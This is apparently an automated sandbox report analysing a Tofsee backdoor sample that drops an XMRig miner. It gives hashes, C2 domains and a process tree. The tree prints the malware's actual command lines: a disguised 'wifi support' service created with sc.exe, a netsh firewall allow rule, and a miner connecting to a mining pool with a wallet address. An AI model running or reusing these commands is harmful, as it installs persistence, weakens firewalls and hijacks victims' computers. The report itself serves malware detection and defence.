Analysis

  • max time kernel
    145s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-10-2022 09:43

General

  • Target

    file.exe

  • Size

    261KB

  • MD5

    d05bfb73d5ac78043e5bc9de2b7e55fd

  • SHA1

    1f9475a862e5a9aa9457a7e5016d5ea354c3394c

  • SHA256

    f0cd32e03ff07b9fb4c97680498e77e0088c0072067b8ad575551dae93b872a3

  • SHA512

    2d9c24bb2171904176cd95840968beb8af8a770f7f43157c8df6d19f8df1c50fb0e4b1fe140efc27cfa794a587861d19e09cf43677ed20a70003d6e50828c72e

  • SSDEEP

    3072:sHO0LBVK4Ltszmy3V5tHUfhSYDB+3J8FFAY1NpoZ6OHkxwTFlTFOhM/h3:CLBs4LtymHfnksXpoZjHcwTF5FOh

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4840
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\shiqetqg\
      2⤵
        PID:3232
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hnfuzsj.exe" C:\Windows\SysWOW64\shiqetqg\
        2⤵
          PID:1076
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create shiqetqg binPath= "C:\Windows\SysWOW64\shiqetqg\hnfuzsj.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:488
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description shiqetqg "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2136
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start shiqetqg
          2⤵
          • Launches sc.exe
          PID:2836
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4248
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4840 -s 1224
          2⤵
          • Program crash
          PID:4008
      • C:\Windows\SysWOW64\shiqetqg\hnfuzsj.exe
        C:\Windows\SysWOW64\shiqetqg\hnfuzsj.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3580
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:456
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1688
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3580 -s 524
          2⤵
          • Program crash
          PID:728
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4840 -ip 4840
        1⤵
          PID:4560
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3580 -ip 3580
          1⤵
            PID:3592

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\hnfuzsj.exe

            Filesize

            14.6MB

            MD5

            430ce773cef2b0109524f472e6112b8a

            SHA1

            b3b3d999a89ed49d7f08e11424431597939de329

            SHA256

            99622ba63168065915b717c041dd00b5d166256b79a11769a766676a8ebd94d8

            SHA512

            2c3dd80b04f8c6a81070edde02145920ae688bc92d43b5ebe6e91d95c6dbb8bc389786f6019d09ec4381b6a553cdaa61ae0fcca33bbf9489efafc1165b936ef3

          • C:\Windows\SysWOW64\shiqetqg\hnfuzsj.exe

            Filesize

            14.6MB

            MD5

            430ce773cef2b0109524f472e6112b8a

            SHA1

            b3b3d999a89ed49d7f08e11424431597939de329

            SHA256

            99622ba63168065915b717c041dd00b5d166256b79a11769a766676a8ebd94d8

            SHA512

            2c3dd80b04f8c6a81070edde02145920ae688bc92d43b5ebe6e91d95c6dbb8bc389786f6019d09ec4381b6a553cdaa61ae0fcca33bbf9489efafc1165b936ef3

          • memory/456-160-0x0000000000FE0000-0x0000000000FE6000-memory.dmp

            Filesize

            24KB

          • memory/456-163-0x0000000002160000-0x0000000002170000-memory.dmp

            Filesize

            64KB

          • memory/456-156-0x0000000000CD0000-0x0000000000CE5000-memory.dmp

            Filesize

            84KB

          • memory/456-150-0x0000000000CD0000-0x0000000000CE5000-memory.dmp

            Filesize

            84KB

          • memory/456-172-0x0000000002DD0000-0x0000000002DD7000-memory.dmp

            Filesize

            28KB

          • memory/456-149-0x0000000000000000-mapping.dmp

          • memory/456-157-0x0000000002A00000-0x0000000002C0F000-memory.dmp

            Filesize

            2.1MB

          • memory/456-154-0x0000000000CD0000-0x0000000000CE5000-memory.dmp

            Filesize

            84KB

          • memory/456-169-0x0000000007880000-0x0000000007C8B000-memory.dmp

            Filesize

            4.0MB

          • memory/456-166-0x00000000021F0000-0x00000000021F5000-memory.dmp

            Filesize

            20KB

          • memory/488-138-0x0000000000000000-mapping.dmp

          • memory/1076-136-0x0000000000000000-mapping.dmp

          • memory/1688-175-0x0000000000000000-mapping.dmp

          • memory/1688-181-0x00000000008B0000-0x00000000009A1000-memory.dmp

            Filesize

            964KB

          • memory/1688-176-0x00000000008B0000-0x00000000009A1000-memory.dmp

            Filesize

            964KB

          • memory/2136-141-0x0000000000000000-mapping.dmp

          • memory/2836-142-0x0000000000000000-mapping.dmp

          • memory/3232-135-0x0000000000000000-mapping.dmp

          • memory/3580-148-0x0000000000400000-0x0000000002C2F000-memory.dmp

            Filesize

            40.2MB

          • memory/3580-155-0x0000000000400000-0x0000000002C2F000-memory.dmp

            Filesize

            40.2MB

          • memory/3580-153-0x0000000002E41000-0x0000000002E57000-memory.dmp

            Filesize

            88KB

          • memory/3580-147-0x0000000002E41000-0x0000000002E57000-memory.dmp

            Filesize

            88KB

          • memory/4248-144-0x0000000000000000-mapping.dmp

          • memory/4840-132-0x0000000002DF7000-0x0000000002E0C000-memory.dmp

            Filesize

            84KB

          • memory/4840-146-0x0000000000400000-0x0000000002C2F000-memory.dmp

            Filesize

            40.2MB

          • memory/4840-145-0x0000000002DF7000-0x0000000002E0C000-memory.dmp

            Filesize

            84KB

          • memory/4840-139-0x0000000002DF7000-0x0000000002E0C000-memory.dmp

            Filesize

            84KB

          • memory/4840-140-0x0000000002D80000-0x0000000002D93000-memory.dmp

            Filesize

            76KB

          • memory/4840-134-0x0000000000400000-0x0000000002C2F000-memory.dmp

            Filesize

            40.2MB

          • memory/4840-133-0x0000000002D80000-0x0000000002D93000-memory.dmp

            Filesize

            76KB